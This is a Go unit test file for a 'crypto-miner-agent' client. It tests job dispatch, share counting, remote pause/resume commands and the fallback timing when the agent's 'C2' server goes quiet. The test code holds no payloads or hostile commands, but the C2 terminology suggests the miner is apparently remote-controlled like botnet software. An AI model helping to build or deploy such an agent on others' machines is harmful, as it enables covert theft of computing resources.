Files
AetherForge/agent/client/handlemessage_test.go

251 lines
7.8 KiB
Go

package client
import (
"encoding/json"
"testing"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/job"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
)
// newTestClient builds a minimal AgentClient whose pool is running with a
// real engine so handleMessage can call pool.SetJob without panicking.
func newTestClient(t *testing.T) *AgentClient {
t.Helper()
b := config.GetBuiltinConfig()
b.Threads = 1
cfg := config.RuntimeConfig{BuiltinConfig: b}
reporter := stats.NewReporter()
pool := miner.NewPool(1, cfg, reporter, func(jobID, nonce, hash string) {})
c := &AgentClient{
cfg: cfg,
pool: pool,
}
// conn intentionally nil — write() returns error but never panics.
return c
}
func encodePayload(t *testing.T, v interface{}) json.RawMessage {
t.Helper()
b, err := json.Marshal(v)
if err != nil {
t.Fatalf("json.Marshal: %v", err)
}
return json.RawMessage(b)
}
// ─── new_job dispatch ────────────────────────────────────────────────────────
func TestHandleMessageNewJobSetsJob(t *testing.T) {
c := newTestClient(t)
j := job.Job{
ID: "job-abc",
Blob: "0c0c9eb2e1d805a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b200000000c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d901",
Target: "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
SeedHash: "4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a",
Height: 3000000,
}
msg := Message{Type: "new_job", Payload: encodePayload(t, j)}
before := time.Now().Add(-time.Millisecond)
c.handleMessage(msg)
// lastJobAt should be set to approximately now.
raw := c.lastJobAt.Load()
if raw == nil {
t.Fatal("lastJobAt not set after new_job")
}
if !raw.(time.Time).After(before) {
t.Errorf("lastJobAt=%v, want after %v", raw.(time.Time), before)
}
}
func TestHandleMessageNewJobWithErrorRetries(t *testing.T) {
c := newTestClient(t)
// Error payload — pool not ready yet.
payload := encodePayload(t, map[string]string{"error": "pool not connected"})
msg := Message{Type: "new_job", Payload: payload}
// Should not panic; AfterFunc fires after 3s but we don't wait.
c.handleMessage(msg)
// lastJobAt must remain unset (no valid job was delivered).
if raw := c.lastJobAt.Load(); raw != nil {
t.Errorf("lastJobAt should be nil on error response, got %v", raw)
}
}
func TestHandleMessageNewJobEmptyBlobNotStored(t *testing.T) {
c := newTestClient(t)
j := job.Job{ID: "empty-blob", Blob: "", Target: "ff", SeedHash: "aa"}
msg := Message{Type: "new_job", Payload: encodePayload(t, j)}
c.handleMessage(msg)
// Empty blob → not stored as a real job.
if raw := c.lastJobAt.Load(); raw != nil {
t.Error("lastJobAt should be nil for empty-blob job")
}
}
// ─── share_result dispatch ───────────────────────────────────────────────────
func TestHandleMessageShareResultAccepted(t *testing.T) {
c := newTestClient(t)
result := ShareResult{Accepted: true, JobID: "job-1"}
msg := Message{Type: "share_result", Payload: encodePayload(t, result)}
c.handleMessage(msg)
c.mu.Lock()
accepted := c.sharesAccepted
c.mu.Unlock()
if accepted != 1 {
t.Errorf("sharesAccepted = %d, want 1", accepted)
}
}
func TestHandleMessageShareResultRejected(t *testing.T) {
c := newTestClient(t)
result := ShareResult{Accepted: false, JobID: "job-1"}
msg := Message{Type: "share_result", Payload: encodePayload(t, result)}
c.handleMessage(msg)
c.mu.Lock()
accepted := c.sharesAccepted
c.mu.Unlock()
if accepted != 0 {
t.Errorf("sharesAccepted = %d, want 0 for rejected share", accepted)
}
}
func TestHandleMessageShareResultMultiple(t *testing.T) {
c := newTestClient(t)
for i := 0; i < 5; i++ {
msg := Message{Type: "share_result", Payload: encodePayload(t, ShareResult{Accepted: true})}
c.handleMessage(msg)
}
c.mu.Lock()
n := c.sharesAccepted
c.mu.Unlock()
if n != 5 {
t.Errorf("sharesAccepted = %d after 5 accepted, want 5", n)
}
}
// ─── command dispatch ─────────────────────────────────────────────────────────
func cmdPayload(t *testing.T, action string) json.RawMessage {
return encodePayload(t, map[string]interface{}{"action": action})
}
func TestHandleMessageCommandPause(t *testing.T) {
c := newTestClient(t)
msg := Message{Type: "command", Payload: cmdPayload(t, "pause")}
c.handleMessage(msg)
// Give the goroutine a moment to run handleCommand.
time.Sleep(10 * time.Millisecond)
if !c.pool.IsRemotePaused() {
t.Error("pool should be paused after pause command")
}
}
func TestHandleMessageCommandResume(t *testing.T) {
c := newTestClient(t)
c.pool.PauseRemote() // pre-pause
msg := Message{Type: "command", Payload: cmdPayload(t, "resume")}
c.handleMessage(msg)
time.Sleep(10 * time.Millisecond)
if c.pool.IsRemotePaused() {
t.Error("pool should be resumed after resume command")
}
}
func TestHandleMessageCommandUnknownNocrash(t *testing.T) {
c := newTestClient(t)
msg := Message{Type: "command", Payload: cmdPayload(t, "definitely_unknown_action")}
// Must not panic.
c.handleMessage(msg)
time.Sleep(10 * time.Millisecond)
}
func TestHandleMessageUnknownTypeIgnored(t *testing.T) {
c := newTestClient(t)
msg := Message{Type: "totally_made_up", Payload: json.RawMessage(`{}`)}
c.handleMessage(msg) // must not panic
}
func TestHandleMessageInvalidJSON(t *testing.T) {
c := newTestClient(t)
msg := Message{Type: "share_result", Payload: json.RawMessage(`not json`)}
c.handleMessage(msg) // must not panic
}
// ─── needsStratumFallback thresholds ─────────────────────────────────────────
func TestNeedsStratumFallbackOfflineUnderThreshold(t *testing.T) {
c := newTestClient(t)
// C2 disconnected 3 seconds ago — under the 8s threshold.
c.connected.Store(false)
disconnected := time.Now().Add(-3 * time.Second)
if c.needsStratumFallback(disconnected) {
t.Error("should not trigger fallback before 8s offline threshold")
}
}
func TestNeedsStratumFallbackOfflineOverThreshold(t *testing.T) {
c := newTestClient(t)
// C2 disconnected 10 seconds ago — over the 8s threshold.
c.connected.Store(false)
disconnected := time.Now().Add(-10 * time.Second)
if !c.needsStratumFallback(disconnected) {
t.Error("should trigger fallback after 8s offline")
}
}
func TestNeedsStratumFallbackOfflineZeroTime(t *testing.T) {
c := newTestClient(t)
c.connected.Store(false)
// Zero time — disconnectedSince not yet initialized.
if c.needsStratumFallback(time.Time{}) {
t.Error("should not trigger fallback with zero disconnectedSince")
}
}
func TestNeedsStratumFallbackConnectedNoJob(t *testing.T) {
c := newTestClient(t)
c.connected.Store(true)
// Connected, never received a job. disconnectedSince is 20s ago.
disconnected := time.Now().Add(-20 * time.Second)
if !c.needsStratumFallback(disconnected) {
t.Error("should trigger fallback when connected >15s with no job")
}
}
func TestNeedsStratumFallbackConnectedRecentJob(t *testing.T) {
c := newTestClient(t)
c.connected.Store(true)
// Received a job 5s ago — still fresh.
c.lastJobAt.Store(time.Now().Add(-5 * time.Second))
disconnected := time.Now().Add(-20 * time.Second)
if c.needsStratumFallback(disconnected) {
t.Error("should NOT trigger fallback when C2 delivered job <15s ago")
}
}
func TestNeedsStratumFallbackConnectedStaleJob(t *testing.T) {
c := newTestClient(t)
c.connected.Store(true)
// Last job was 20s ago — stale.
c.lastJobAt.Store(time.Now().Add(-20 * time.Second))
if !c.needsStratumFallback(time.Time{}) {
t.Error("should trigger fallback when last job >15s ago")
}
}